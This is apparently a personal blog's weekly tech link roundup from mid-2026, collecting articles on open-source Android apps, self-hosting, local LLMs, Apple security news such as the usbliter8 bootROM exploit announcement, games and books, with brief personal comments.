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w33k in g33k: July 10, 2026

Fri, 10 Jul 2026 17:00:00 -0400

👎🏻 Adulting

GitHub: skorotkiewicz / earth-game: “An offline CLI for turning life goals into quests”

🤖 Android

Android Authority: I switched to an open-source notes app for 2 weeks, and I wish I had done it sooner
- Notesnook: “The private workspace for your life. No spying, no tracking, no bullsh*t. Just notes.”
- I’m assuming this is related, if i wanted to look more into self-hosting: GitHub: [streetwriters] / notesnook-sync-server: “Sync server for Notesnook (self-hosting in alpha)”
Android Police: I stopped trusting standard note apps with my personal diaries and hosted my own instead
- Joplin: “Joplin is an open source note-taking app. Capture your thoughts and securely access them from any device.”
- Synced with Nextcloud: “Nextcloud Hub combines the key Nextcloud products Files, Talk, Groupware, Office, Assistant and Flow, into a single platform, optimizing the flow of collaboration.”
Make Use Of: Goodbye LineageOS — I tried to love you: “That’s what LineageOS is: a blank canvas. And oh I did paint. Two weeks in, I was recommending it to people, and for months, it was great. So good that I started using it as my main phone. Then it stopped being great.”
- I have run CyanogenMOD & then LineageOS for years, as my daily driver & while i used to have hiccups that caused crashes that would send me to the boot screen but I haven’t seen that in years… from this article, it sounds like issues with VoLTE was the only problem Amir Bohlooli had & from that decided LineageOS couldn’t be a daily driver?
How-To Geek: 4 free alternatives to popular paid Android apps
1. Paid: Life360 / Free: Google Find Hub
2. Paid: Tasker / Free: Automate
3. Paid: Duolingo / Free: Busuu
4. Paid: Torque Pro / Free: Car Scanner ELM OBD2
Make Use Of: I turned my Android phone into a Linux desktop with a tool buried in Android 16
- Details on how to activate it (thanks to the article):
  1. Enable Developer Mode by heading to your phone settings, then to the About Phone section, and tapping the build number seven times.
  2. Head to the developer option settings and tap the Linux development environment option.
  3. Enable the (Experimental) Run Linux terminal on Android slider.
- You should then have a “Terminal” app you can open, & from there… Linux shell =]
- Then to get a desktop environment: sudo apt install task-xfce-desktop
How-To Geek: Someone made a laptop that runs GrapheneOS desktop mode from a Pixel phone
- Goes nicely with the article above.
- /r/GrapheneOS: Remember my Graphene OS Laptop Prototype? I FINISHED IT!!!

🖥️🍎 Apple

/r/jailbreak: usbliter8: what you need to know about the new A12/A13 bootROM exploit
- This was a nice write-up to see what usbliter8 could be.
- Paradigm Shift: Introducing usbliter8: “An A12/A13 SecureROM exploit”
- GitHub: prdgmshift / usbliter8: “An A12/A13 SecureROM exploit”
mobileread: Looking for Recommendations for apps that sync epub reading progress across devices
- Now that i’ve been trying to get Grimmory or BookOrbit running with OPDS I’ve been trying to see how i can use it with iOS \ iPadOS since KOReader isn’t “officially” available. Came across this post with some ideas:
  - Pocketbook
  - Mapleread
  - FBReader
  - mobile read: BookShelves — Native EPUB Reader for macOS and iOS (looking for feedback)

🤖 Artificial Intelligence \ Large Language Models

How-To Geek: https://www.howtogeek.com/my-favorite-linux-app-didnt-exist-on-windowsso-i-built-a-better-one-with-claude/
- “The Linux app I couldn’t find an equivalent for on Windows was Gwenview—the default image viewer on KDE Plasma-based Linux distributions.”
How-To Geek: 4 open-source tools that can replace your Claude subscription (and sometimes outperform it)
1. “You can run models right on your computer”: How-To Geek: I switched from LM Studio to llama.cpp, and I’m never going back to a bloated wrapper: llama.cpp
2. “Keep your code private while you working”: Continue.dev: Install
  - There’s a notice on their side that they’ve been acquired by Cursor, so i guess we’ll see how long it might be available or up-to-date.
3. “Connect your local model to the rest of your apps”: n8n: “AI agents and workflows”
4. “Bring your local AI straight into your browser”: Page Assist: “A Sidebar & Web UI for your Local AI. Page Assist is an open-source Browser Extension that provides a Sidebar and Web UI for your Local AI model. It allows you to interact with your model from any webpage.”
Mix Fonts: Ghost Font: “An anti-AI font that can be read by humans but not leading AI models. Type your text below, then download and share the video clip containing your message.”

w33k in g33k: July 03, 2026

Fri, 03 Jul 2026 17:00:00 -0400

👎🏻 Adulting

Financial Samurai: How To Overcome The Guilt Of Not Taking Care Of Your Own Kids

🤖 Android

How-To Geek: These 5 open-source utilities should be on every Android phone
1. Sefirah: GitHub: shrimqy/Sefirah: “Phone Link / KDE Connect alternative”
2. PhotoSwooper: F-Droid: PhotoSwooper: " A dating app for your photos & videos"
3. Neo Store: GitHub: NeoApplications / Neo-Store: “An F-Droid client with modern UI and an arsenal of extra features.”
4. Heliboard: GitHub: HeliBorg / HeliBoard: “Customizable and privacy-conscious open-source keyboard”
5. LocalSend: “Share files without the cloud. Fast, private, offline. Open source and cross-platform file sharing for everyone.”
Android Authority: 5 Android app stores you should use instead of the Google Play Store
1. F-Droid: “F-Droid is the app distribution ecosystem for Android where your user freedom comes first. Discover our app store, explore the world of free and open source (FOSS) apps and learn about our app distribution tools.”
2. Obtanium: “Obtainium allows you to install and update apps directly from their release pages, and receive notifications when new releases are made available.”
3. Galaxy Store: I didn’t expect the Samsung Store to be in the list, but okay.
4. Aurora Store
5. [APK Mirror(https://www.apkmirror.com/)
Make Use Of: I automated 7 annoying phone tasks with a single app, and now I can’t use my phone without it
1. Auto-reply when driving: When my phone connects to my car’s Bluetooth, Tasker automatically replies to incoming messages with a canned “I’m driving and can’t respond right now” text. It stops the moment I disconnect.
2. Low battery text to my partner: When my battery drops to 10%, Tasker sends an automatic SMS to a specific contact so they know my phone is about to die. No more “why didn’t you reply” conversations.
3. Car parking notification: The moment I disconnect from my car’s Bluetooth, Tasker logs my GPS coordinates, timestamps the location, and sends me a notification. I can add a note or even take a photo of the parking spot from there.
4. Sort my Downloads folder: Every time a new file lands in my Downloads folder, Tasker moves it into the right subfolder, whether that’s images, documents, APKs, or audio files. My Downloads folder used to be a mess.
5. Flashlight brightness slider: On Android 13 and above, Tasker exposes the hidden flashlight intensity control as a floating slider whenever I toggle the torch on. I had no idea this was even possible.
6. Important notifications on Always-On Display: I keep my AOD off to save battery, but Tasker turns it on whenever I get a notification from specific apps, like WhatsApp or Gmail. It switches back off after I dismiss the notification.
7. Google Doorbell chime: Instead of relying on a silent notification when someone rings my Nest doorbell, Tasker intercepts the notification and plays a custom chime on my phone while opening the Google Home live feed automatically.
How-To Geek: Termux gives your Android phone access to tools Google doesn’t want you to have
- Title is kind of click-bait-y… but Termux definitely is useful & i have it running on my Android devices.
- Termux: “Termux is an Android terminal emulator and Linux environment app that works directly with no rooting or setup required. A minimal base system is installed automatically - additional packages are available using the APT package manager.”
Make Use Of: 7 open-source apps so good, Google should build them into Android
1. LocalSend
2. Seal: GitHub: JunkFood02 / Seal: “🦭 Video/Audio Downloader for Android, based on yt-dlp”
3. Bitwarden: “Credential security for humans, agents, and machines. Bitwarden secures every password, passkey, and secret that your people, AI agents, and machines rely on. Experience the open source, end-to-end encrypted platform that scales with you.”
4. Image Toolbox: “Edit, create & convert images with powerful AI — your all-in-one studio”
5. Proton VPN: The Intercept: Proton Mail Says It’s “Politically Neutral” While Praising Republican Party: “… Proton CEO Andy Yen praised the Republican Party in a post on X, declaring that “10 years ago, Republicans were the party of big business and Dems stood for the little guys, but today the tables have completely turned.” When the tweet went viral, Proton’s official Reddit account posted a now-deleted comment stating that “Until corporate Dems are thrown out, the reality is that Republicans remain more likely to tackle Big Tech abuses.””: So, no thank you to anything Proton =] I cancelled my account after that, moving first to Tuta, then to Mailbox.org.
6. Wavelet: GitHub: Pittvandewitt / Wavelet: “A quick rundown on each feature and its settings”
7. F-Droid: “F-Droid is the app distribution ecosystem for Android where your user freedom comes first. Discover our app store, explore the world of free and open source (FOSS) apps and learn about our app distribution tools.”
Android Authority: HeyPolo is a privacy-first family location sharing app that gets it right
- Web Site: HeyPolo: “Always know yourfamily is safe. Everything you need to keep your family connected and safe, without the surveillance.”
- I don’t currently have a need for this (especially with Apple products + FindMy), but i was interested just because it’s supposed to be privacy-focused.
How-To Geek: I tried 3 of the best Android devices for handwritten notes—here’s the one I’m sticking with
1. Huion Kamvas 11: USD$$329.00
2. BOOX Go 10.3 (Gen 2): USD$399.99
3. Motorola Razr Fold
Make Use Of: This free app shows every device on your network in under 30 seconds, but there’s a catch
- I think the issue they are flagging in the article is just the number of devices that come back without names \ Generic information instead of being more accurate date.
- In the past I’ve used NetAlertx & really did like it, but recently when I’ve tried to use it, I’ve had problems. Occassionally i go back to test it out again, but haven’t gotten in working.
- In the meantime, I’ve just setup OOTT that doesn’t have nearly the same features \ details as NetAlertx, but it works, so that’s good enough for me =] Seems a bit better (for me) than WatchYourLAN, so will be seeing how development goes.
Android Police: This Android metadata removal utility allowed me to escape creepy internet tracking bugs
- GitHub: exiftool / exiftool: “ExifTool meta information reader/writer”
- Web Site: ExifTool by Phil Harvey: “ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files.”
- The command used by Irene Okpanachi: perl ~/exiftool-13.55/exiftool -all= -overwrite_original filename.jpg — strips metadata from the file permanently and overwrites it without creating a backup copy. Replace filename.jpg with the file name.

🖥️🍎 Apple

Cult of Mac: AirDrop vulnerability lets anyone nearby knock it offline, no tap required
- “A newly discovered AirDrop vulnerability means someone sitting in the same café as you can silently break AirDrop on your iPhone or Mac, no tap or pairing required. They just send a stream of junk data to your iPhone and AirDrop — alongside AirPlay, Handoff, Universal Clipboard, and Continuity Camera — all go dark for as long as they keep it up.”
- CISPA: Protocol Prying: Systematic Vulnerability Research in the AirDrop and Android Quick Share Proximity Transfer Protocols

🤖 Artificial Intelligence \ Large Language Models

How-To Geek: Google’s Gemma AI runs locally on my $300 mini PC, and it replaced ChatGPT for more than I expected
- Gemma: “Our most advanced open models help developers create AI applications that run wherever users need them — from cloud servers to laptops and even phones.”
- Ollama: “The easiest way to build with open models”
Make Use Of: I stopped paying for ChatGPT after I installed this free local model on my phone: “Gemma 4 locally on my iPhone 15 Pro Max”
- Google Play: Google AI Edge Gallery
- App Store for iPhone: Google AI Edge Gallery
How-To Geek: I turned a local LLM into a personal eBook librarian, and it gives me better recommendations than Goodreads
- “Rather than using a standard LLM, I used a small embedding model, nomic-embed-text, running in Ollama. This model converts book descriptions into numerical vectors so the system can compare these vectors rather than vague descriptions.”
GitHub: mhurhangee / patrick: packages
- I saved this because someone had mentioned the DOCX editing part being removed from other repos? So i wanted to save it in case it was useful for the future.
- Patrick: “Reads, edits and reasons your Word files on ~~the cloud~~ your own computer — tracked changes you approve.”
- GitHub: superdoc-dev / superdoc: “🦋️ SuperDoc - Modern DOCX Editor and Agent SDK”
- SuperDoc: “Modern DOCX Editor and Agent SDK. Add DOCX superpowers into your product and agentic workflows”
- Y Hacker News: thisisjedr’s comments
  - “I’m working on https://docx-editor.dev/, open-source, .docx editor library for building document apps.”
How-To Geek: Setting up a local LLM is the easy part—here’s what you need to do with it next
- “Working on private documents and data: Keep sensitive data in your own home”
- “Get help with code instead of having it written for you: Autocomplete and explanations that never leave your machine”
- “Build a second brain: A local source for your ideas”
- “Smart home automation: Keep your smart home local”
- “Uncensored writing and roleplaying: Escape overzealous guardrails”

🌎 Current Events

🎥📺 Entertainment

How-To Geek: 9 forgotten ’90s sitcoms still worth watching
1. Get A Life (1990): “A 30-something guy still lives with his parents, works as a paperboy, and tries to avoid growing up and being responsible at all costs.”
2. The Critic (1994): “Jay Sherman is a New York film critic who has to review films he doesn’t like for a living.”
3. Malcolm & Eddie (1996): “Apparently, opposites do attract. Malcolm and Eddie are as different as one can imagine, but they’re best friends who manage to be roommates as well as co-workers without killing each other.”
4. Dharma & Greg (1997): “A free-spirited yoga instructor finds true love in a conservative lawyer and they get married on the first date. Though they are polar opposites, he fulfills her need of stability and she fulfills his need of optimism.”
5. Smart Guy (1997): “A 10-year-old genius goes from elementary school to high school.”
6. Damon (1998): “The adventures of Damon, a talented police officer living in Chicago with his loser older brother.”
7. Stark Raving Mad (1999): “A neurotic book editor is paired with an eccentric writer.”
8. Spaced (1999): “Friends Tim and Daisy, 20-something North Londoners with uncertain futures, must pretend to be a couple to live in the only apartment they can afford.”
9. Two Guys and a Girl (1998): “Three twenty-somethings share a Boston apartment and hang around (and work) at a pizza place.”
How-To Geek: 6 beloved movies and shows that started out as surprise online viral hits
1. Channel Zero (2016): “An anthology series based on creepypastas.”
2. Backrooms (2026): “After a therapist’s patient disappears into a dimension beyond reality, she must venture into the unknown to save him.”
3. Hazbin Hotel (2019): “In an attempt to find a non-violent alternative for reducing Hell’s overpopulation, the daughter of Lucifer opens a rehabilitation hotel that offers a group of misfit demons a chance at redemption.”
4. The Amazing Digital Circus (2023): “A woman finds herself trapped in a virtual circus where she and five others are subject to the whims of a wacky artificial intelligence. In this digital purgatory they must face frightening N.P.C.s and cope with their own personal traumas.”
5. Critical Role: The Legend of Vox Machina (2022): “After saving the realm from evil and destruction at the hands of the most terrifying power couple in Exandria, Vox Machina is faced with saving the world once again-this time, from a sinister group of dragons known as the Chroma Conclave.”
6. RWBY (2012): “Four teenage girls form Team RWBY and train to fight crime and monsters known as the Grimm, while the world of Remnant remains on the brink of an all-out war.”
Gizmodo: Dive Into a New Sci-Fi World With an Exclusive Excerpt from ‘MAYA: Seed Takes Root,’ Read by Hugo Weaving: “As for the story, it’s described as a blend of “science fiction, fantasy, and philosophy” and “a new mythology for the 21st century—not of gods and monsters, but of us.””
- The first chapter is available to read at the Gizmodo link.
Gizmodo: 70 New Sci-Fi, Fantasy, and Horror Books Releasing in July: Too much to spell out here… so just leaving the link.
Gizmodo: 10 New Sci-Fi, Fantasy, and Horror Audiobooks Releasing in July
1. The Exquisite Torment of Loving Your Enemy by Brigitte Knightley: goodreads: The Exquisite Torment of Loving Your Enemy (Dearly Beloathed #2): “Osric is a member of the Fyren Order, a guild of assassins who gleefully murder for money. Aurienne is a Haelan, a scholar-healer whose Order’s motto is Harm to none. Clear-cut absolutes separate them: good and bad, right and wrong, light and dark . . .”
2. Fabulous Bodies by Chuck Tingle: goodreads: Fabulous Bodies: “Fashion influencer by day and grave-robber by night, Poppy Stringer is on call when Eddie Michaels—a flamboyant, piano-slamming rockstar and queer icon—unexpectedly dies. All Poppy has to do is retrieve Eddie’s body from the medical examiner’s office, but what starts as a routine delivery quickly goes off course when Eddie wakes up.”
3. Cross My Heart, I Hope You Die by Mallory Arnold: goodreads: Cross My Heart, I Hope You Die: “When Nora, Ruby, and Cham discover that they’ve each been dating the same man, what starts as outrage quickly spirals into a plot for revenge. Together they hatch a plan to lure their boyfriend to a romantic getaway in a secluded cabin at the top of a snow-covered mountain.”
4. The Dragon Has Some Complaints by John Wiswell: goodreads: The Dragon Has Some Complaints: “Garrodigh was once a four-headed dragon, among the most powerful in Kardoša. After an unfortunate incident, he now has three heads, one stump, and a daily whirlwind of internal bickering. Centerhead wants to rain death upon all humanity, Bottomhead is like a feral cat, and Upperhead is under the delicate delusion that he is, in fact, human.”
5. Not With a Bang by Temi Oh: goodreads: Not with a Bang: “In the summer sky, a celestial object is fast approaching, due to slingshot around the Earth and disappear again. And everyone has their own theory on what it is – a meteor, a planet, aliens?”
6. Carry Me to My Grave by Christopher Golden: goodreads: Carry Me to My Grave: “Maggie Wise will take your eyes. When Malcolm was growing up, the local kids made up that chant about his mother, claiming she was a witch. He and his siblings did their best to ignore it. Now, Maggie is dying, and those same siblings have left Malcolm and his sister-in-law Violet to hold a vigil at her bedside.”
7. Mudlark by Mary Helen Specht: goodreads: Mudlark: A Novel: “Jenny Sweet’s marriage is ending—and with it her band and maybe even her fragile relationship with her thirteen-year-old daughter, Neko. A reluctant wife and mother, Jenny plans a new journey of self-discovery after one more gig at Burning Man. But when Neko disappears amid the chaos of the festival, Jenny fears that everything that mattered to her has been lost. As she races against the dark, Jenny finds herself thrown into the past, and into the heart of a gathering storm.”
8. Null Entity by Seth Haddon: goodreads: Null Entity (The Volatile Memory Duology #2): “With her identity erased from the Corporate Federation, Wylla is a ghost in the untraceable, unpredictable, and fueled by vengeance. She fights alongside Sable, the AI consciousness whose murder they avenged, the one she loves in ways no system could ever define. Together, they’ve built a reputation for tearing through VisorForge’s carefully constructed lies.”
9. The Felicity Complex by August Clarke: goodreads: The Felicity Complex: " Welcome to the Felicity Complex! Constructed during the height of the Cold War, our unique hotel is prepared to protect you, the billionaire class, from nuclear annihilation! Shielded from radiation and supplemented with closed air systems and hydroponic gardens, this resort bunker offers a prime existence full gymnasium and spa, gourmet meals, top-tier medical care, and the best in entertainment."
10. Sea of Charms by Sarah Beth Durst: goodreads: Sea of Charms (Spellshop #3): “Marin is a supply runner with her own boat that she sails from island to island, delivering whatever anyone will pay her to deliver: letters, flour, even the occasional enchanted lemur. It’s a lonely life, but it’s hers, and she wouldn’t trade the freedom of the sea for anything. Her only companion is a sea serpent, Perri, whom she saved from a fisherfolk’s net.”

🎮 Games

Gizmodo: Spend Five Minutes With This Hellish Operating System Simulator and You’ll Never Swear at Your Computer Again
- GitHub: You’re the OS!
Kotaku: DK64 Recomp Dev Criticizes Rival Project Using AI Vibe Coding Tools
- GitLab: dk64_decomp / dk64
Dolphin Emu:
WCCF Tech: ShadNet Lets PlayStation 4 Emulation Players Go Online Without Sony, as ShadPS4 Sidesteps PlayStation Network Entirely
- “ShadNet is going to offer shadPS4 users a way to connect, and play online games together. This project has been in the works for a few months now, but its in a stage where we can announce it officially,” the announcement on the ShadPS4 official website reads. “ShadNet is still in development, and there is still a lot to be done, but its ready for testing. At this moment, only tracking score works, but please feel free to give it a try!”
/r/TheSilphRoad: Souvenirs – A Comprehensive Guide to a Neglected AR Feature
- I never knew what the souvenirs did in Pokémon GO, so i finally was looking into it… looks like it’s really not that much (at least as of 3 years ago, when this post is from)

w33k in g33k: June 26, 2026

Fri, 26 Jun 2026 17:00:00 -0400

👎🏻 Adulting

How-To Geek: I tried using Excel to track my life for a week—and saw patterns I’d been missing
- They provided a blank copy of the workbook template: Dropbox: Life-tracker.xlsx
- I have a local copy too, just in case that Dropbox link gets removed: HtG-Life_Tracker.xlsx
Art of Manliness: 18 Urban and Wilderness Survival Hacks That Would Make MacGyver Proud
- This just looked like something fun to save.
- Framework Collar Connector, Blanket Chair, Condom Canteen, 2-Liter Rain Collector, Match Feather Stick, Jumper Cable + Pencil = Fire, 9-Volt Razor Hack, Mylar Emergency Survival Blanket Lens, The Fire Pick, Gum Wrapper Fire, Ramen Noodle Stove, Paracord Fishing Fly, Spoon Broadhead, Slingshot Whisker Biscuit, Bra Cup Debris Mask, Makeshift Butterfly Bandage, A Not-So-StrAWEful Tick Puller, Bullet Casing Whistle.
How-To Geek: These 5 tools are all you need to handle your car’s maintenance yourself
1. Basic socket set
2. Battery maintainer
3. Portable air compressor
4. New torque wrench
5. Floor jack / jack stands
Make Use Of: 5 pool mistakes I made my first season, and what they cost me
1. “I balanced the water once and assumed it would hold: I got everything dialed in at startup and walked away satisfied. That was the mistake. A salt cell makes chlorine by splitting salt in the water, and one byproduct of that process is rising pH. Mine climbed on its own while I wasn’t looking. The waterline tile started wearing a chalky scale ring, the water got a little cloudy, and the chlorine the cell produced couldn’t keep up, even though the unit was running plenty.”
2. “I treated the salt cell as set-and-forget: A salt cell has no moving parts and nothing obvious to wear out, so I assumed it was the one piece of equipment I’d never have to touch. It scales up the same way the tile does. Calcium builds on the metal plates inside, and as that coating thickens, the cell makes less chlorine for the same amount of run time. By midsummer the pool was losing the chlorine fight during the hottest stretch of July, and I couldn’t figure out why the numbers kept sliding.”
3. “I never paid attention to the filter pressure: My test kit said the water was balanced, yet it had some haze to it for weeks. The filter simply wasn’t moving enough water to clear it. Once someone pointed at the gauge and explained that a rise of about 8 to 10 psi over the clean baseline means it’s time to backwash, the haze solved itself. I’d been chasing a clarity problem with chemicals when the fix was a two-minute backwash and the habit of glancing at a dial.”
4. “I left the cover to fend for itself over winter”
5. “Cutting corners closing the pool: I thought I’d closed it correctly. I lowered the water, added the winter chemicals, and pulled the cover over the top. What I almost skipped was clearing the plumbing lines, and I nearly left the salt cell installed instead of pulling it for storage. Northern Indiana winters don’t forgive trapped water. It freezes, expands, and goes looking for the weakest point in the system. Thankfully, I caught my mistake before freezing temps arrived.”
Sofia Kodar: The truth about being a manager
- “You’ll bring work home with you more often than not.”
- “You’re not “part of the team” anymore.”
- “You need to be careful with every word.”
- “You’ll probably feel very lonely.”
- “You will carry knowledge you cannot share.”
- “You need to network and understand the business.”
- “You will often feel a lack of progress.”
- “You will miss being an engineer.”
- “You will not get the training you need.”
- “You need to learn about feedback, fast.”
- “You will make mistakes and you won’t be liked by everyone.”
- “You need to be the adult in the room.”
- “You need to learn how to sell.”
- “You must learn how to manage up.”
- “You will feel powerless and frustrated.”
- “You will get a view of the whole picture.”
- “Being a manager can be fun and fulfilling.”

🤖 Android

Make Use Of: I replaced 5 Play Store apps with open-source versions and the ads completely vanished
1. NewPipe: “The lightweight YouTube experience for Android”
2. AntennaPod: “The Open Podcast Player. AntennaPod is a podcast player that is completely open. The app is open-source and you can subscribe to any RSS feed. AntennaPod is built by volunteers without commercial interest, so it respects your privacy while giving you full control.”
3. Organic Maps: “Organic Maps is a privacy-focused offline maps & GPS app for hiking, cycling, biking, and driving. Absolutely free. No ads. No tracking. Developed with love by the open-source community and the same people, who created MapsWithMe/Maps.Me app. Powered by OpenStreetMap data. Organic Maps is one of the few applications nowadays that supports 100% of features without an active Internet connection. Install Organic Maps, download maps, throw away your SIM card, and go for a weeklong trip on a single battery charge without any byte sent to the network.”
4. Aegis Authenticator: “Aegis Authenticator is a free, secure and open source app for Android to manage your 2-step verification tokens for your online services.”
5. Thunderbird: “Free Your Inbox. Meet Thunderbird, the email and productivity app that maximizes your freedoms.”
Android Police: I resurrected a dead Android tablet with this unique third-party launcher
- Niagara Launcher:
Make Use Of: I switched from Niagara to a launcher that costs nothing, requires no account, and looks great
Android Authority: This new launcher makes your Android phone look like a Nintendo DS
- Retro Dodo:
How-To Geek: I finally turned my old Android phone into a home security camera, and it works better than a $150 Wyze system
- Google Play: AlfredCamera Home Security app
Android Police: I finally audited my monthly cash flow with this Android app and cut hidden streaming fees
- Cashew: “Cashew is built to make budgeting feel easy: log spending quickly, then see it show up in your totals and budgets. This quick start guide stays intentionally surface-level. If you want the deeper options, check the full guides below this section.” - App Store for iPhone: Cashew-Expense Bidget Tracker - Google Play: Cashew—Expense Budget Tracker - Web App - GitHub: jameskokoska / Cashew: “💸 An app created to help users manage a budget and purchases”
IT’S FOSS: Banking Apps, No Google, and a Locked Bootloader: How iodé Makes Privacy Android Work for Everyone
- “Brian: iodé is a project that is interested in making sure that there’s a privacy-based Android distribution that is also very easy to use. Very easy for normal users to feel they can use it conveniently.”
- “We also feature a tool which is a tracker blocker, so both your apps and your browser when you’re browsing the internet have a sort of firewall that allows you to know exactly which connections your device is making, which connections the apps are making, the browser is making when you’re visiting websites, and it prevents ads and trackers from following you around the internet.”
- iodé: “iodéOS is an android operating system freed from Google trackers*. A significant part of data breaches comes upstream of apps. iodéOS is powered by “LineageOS”, an open source OS that expands functionalities and the lifespan of mobile devices of more than 20 different manufacturers thanks to a community of contributors across the world. The Trust interface will help you understand the security of your device and warn incoming threats.”
- LineageOS: “A free and open-source operating system for various devices, based on the Android mobile platform.”
GitHub: rama-io / mako: “Minimal, privacy-first Android launcher designed for focus, speed, and simplicity.”
- Web Site: Rama: “Small, focused Android apps built for speed and simplicity. No bloat, no tracking, no nonsense, just software that works.”

🖥️🍎 Apple

Techlore: Permission Not Required: The Open Source iOS App that Makes the Invisible Visible (Loupe Review)
- GitHub: mysk-research / loupe: “A privacy-focused iOS app that raises awareness about what native apps can see”
App Store for iPhone: OOTT - Network Scanner
- GitHub: rzuasti / oott: “Easy to setup and use network device discovery and alert system”
- Since i continue to have issues with NetAlertX &WatchYourLAN doesn’t give as much detail or have an interface that i love… I’ve started to look into OOTT. The price for the app is a little steep, but i’m going to keep an eye on the project & if it continues to grow, i will probably purchase in the future to support the dev.
Paradigm Shift Blog: Introducing usbliter8: “An A12/A13 SecureROM exploit”
- GitHub: prdgmshift / usbliter8: “An A12/A13 SecureROM exploit”
  - “The board we use is Waveshare RP2350 USB-A with Lightning to USB-A cable and R13 resistor optionally removed.”
Apple Insider: A12 & A13 Apple devices face an unpatchable SecureROM vulnerability: List of vulnerable devices:
- iPads: 11-inch iPad Pro (1st generation), 11-inch iPad Pro (2nd generation), 12.9-inch iPad Pro (3rd generation), 12.9-inch iPad Pro (4th generation), iPad (9th generation), iPad (8th generation), iPad Air (3rd generation), iPad mini (5th generation)
- Watches: Apple Watch SE (1st generation), Apple Watch Series 4, Apple Watch Series 5
- iPhones: iPhone 11, iPhone 11 Pro, iPhone 11 Pro Max, iPhone SE (2nd generation), iPhone XR, iPhone XS, iPhone XS Max

🤖 Artificial Intelligence \ Large Language Models

How-To Geek: I built a bedside AI assistant that reads me the news without touching the cloud
- “I decided to create the automation that powers my morning briefing in the self-hosted n8n automation software. There’s an RSS Read node in n8n that can pull the latest items from an RSS feed if you provide the relevant URL. I used three of these nodes to pull all the latest stories from the RSS feeds.”
- Local Ollama is used with the headlines so it doesn’t need a third party.
Liam Wilkinson: I Gave an AI a Civilization to Run. It Built a Nuke.
- This looked interesting so i saved it to read later.
How-To Geek: 4 reasons my small local AI model gets more use than Claude or Gemini
1. “Claude, Gemini, and ChatGPT come with API costs”
2. “A local LLM keeps things private” This is the biggest reason why i want to get my Local AI running properly.
3. “Not every AI request is time-sensitive”: As above, it don’t need answers instantly or anything. More just give it a prompt, & can come back in a bit to get what i need. Or if it’s just automatically processing things in the background.
4. “With a local LLM, I’m in control” I think this is pretty close to point 2, but still accurate.
9to5 Mac: Apple Notes adds a power user feature in iOS 27 that’s rare in other apps: “Apple Notes lets you link to specific sections of your note in iOS 27”
GitHub: inkeep / open-knowledge: “Beautiful, AI-native markdown editor and LLM Wiki”
- Web Site: OpenKnowledge: “Beautiful, AI-native markdown editor. A rich text editor and knowledge base for you and your agents.”
Ron’s Tech Hub: 019 - “Raspberry Pi AI HAT+ 2” & “Camera Module 3”
- I still want to use my AI HAT with LLM vs. images, but at least this would be using it in some way…

🌎 Current Events

🎥📺 Entertainment

🎮 Games

Hack A Day: Nintendo DS Port Of Super Mario 64 Released With Multiplayer Support
- GitHub: TobiasFriedly / sm64-nds: “A Modification of the DSi port from Hydr8gon: https://github.com/Hydr8gon/sm64 Making it work on all NDS Models. Also added Multiplayer.”
- App Store for iPhone: Loupe: What Apps Can See
Make Use Of: I installed these Steam Deck plugins and realized Valve left out the obvious ones
- GitHub: /steamdeckhomebrew / decky-loader: “A plugin loader for the Steam Deck.”
  - Web Site: Decky Loader: “Dozens of plugins to choose from. Unlock your Steam Deck’s potential.”
- CSS Loader
- HLTB: GitHub: hulkrelax / hltb-for-deck: “A plugin to show you game lengths according to How Long To Beat”
- PowerTools: ngram: NG-SD-Plugins / PowerTools: “Steam Deck power tweaks for power user”
- ProtonDB Badges: I’m not sure if there’s a replacement, but this is what i came across when searching for this plugin: GitHub: OMGDuke / protondb-decky: " This repository was archived by the owner on Jun 4, 2025. It is now read-only. " / “ProtonDB Badges is a plugin for Decky Loader to display tappable ProtonDB badges on your game pages”
- PlayTime: As above, this is what i found when searching, but it is no longer maintained: ma3a / SDH-PlayTime: “This project is being archived due to time constraints that have prevented me from maintaining it, despite my strong interest and enthusiasm for its development. There are several features and enhancements that I had hoped to implement, but unfortunately, I am unable to continue working on them at this time. I encourage anyone interested in the project to explore the existing codebase and contribute if they wish. Thank you for your understanding and support.”
- MoonDeck: GitHub: FrogTheFrog / moondeck: “A plugin that makes it easier to manage your gamestream sessions from the SteamDeck.”

⚕️ Health

🏡 Home (Homelab \ Self-Hosted)

Make Use Of: Pocket is gone but the free replacement I found does things Pocket never could
- This is what I’m currently using for a “read-it-later” service.
- GitHub: karakeep-app / karakeep: “A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search”
- Web Site: Karakeep: " The Bookmark Everything App. Quickly save links, notes, and images and Karakeep will automatically tag them for you using AI for faster retrieval. Built for the data hoarders out there!"
How-To Geek: I replaced these 3 subscriptions with a Raspberry Pi and never looked back: This might be something else i posted last week, but couldn’t remember. So it’s back again.
- Joplin: “Joplin is an open source note-taking app. Capture your thoughts and securely access them from any device.”
  - Been running this for a few years with joplin-server for syncing & have been very happy. I keep my “build notes” & documentation to have as a reference. Maybe one day I’ll see how to integrate it with local AI so i can ask my notes “questions” to get answers, instead of just searching against it for reference.
- Navidrome: “Your Personal Streaming Service”
  - I set this up 2 weeks ago or so, & trying to use it more. I do usually stick with Apple Music, but i at least wanted the option. Not that i use them that often, but it’s running alonside Plex & Jellyfin.
- Vaultwarden: “Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs”
  - Another service I’ve been using for years & have been very happy with.
How-To Geek: 3 free, open-source apps to stop big tech from spying on you this weekend (Jun 19-21)
1. []Home Assistant](https://www.home-assistant.io/): “Open source home automation that puts local control and privacy first. Powered by a worldwide community of tinkerers and DIY enthusiasts.”
2. Immich: “Self-hosted photo & video management solution. Easily back up, organize, and manage your photos on your own server. Immich helps you browse, search and organize your photos and videos with ease, without sacrificing your privacy.”
3. Bitwarden: “Bitwarden secures every password, passkey, and secret that your people, AI agents, and machines rely on. Experience the open source, end-to-end encrypted platform that scales with you.”
How-To Feek: 3 Home Assistant projects to do more with your tech this weekend (June 19-21)
1. “Turn an old iPad into a Home Assistant display”: I was hoping this was going to be more of like a software thing than hardware, but still worth noting for the future.
2. “Control your TV through the serial port”: “There’s a new integration in Home Assistant called LG TV via Serial. As the name suggests, this allows you to control some LG TVs and commercial displays through the RS-232 serial port. You can connect your TV to Home Assistant using a cable, an ESP32-based serial proxy, or a USB-to-serial adapter.”
3. “Create wallpaper for your dashboard that reflects the weather”: “Home Assistant has a built-in image generation feature that you can use to generate images using cloud-based or local AI models. You can use this to generate images from within Home Assistant automations, based on the prompts that you provide.”
  - How-To Geek: Home Assistant’s hidden AI image generator is way more useful than it sounds
How-To Geek: 3 impressive ESP32 projects to make this weekend (Jun 19 - 21)
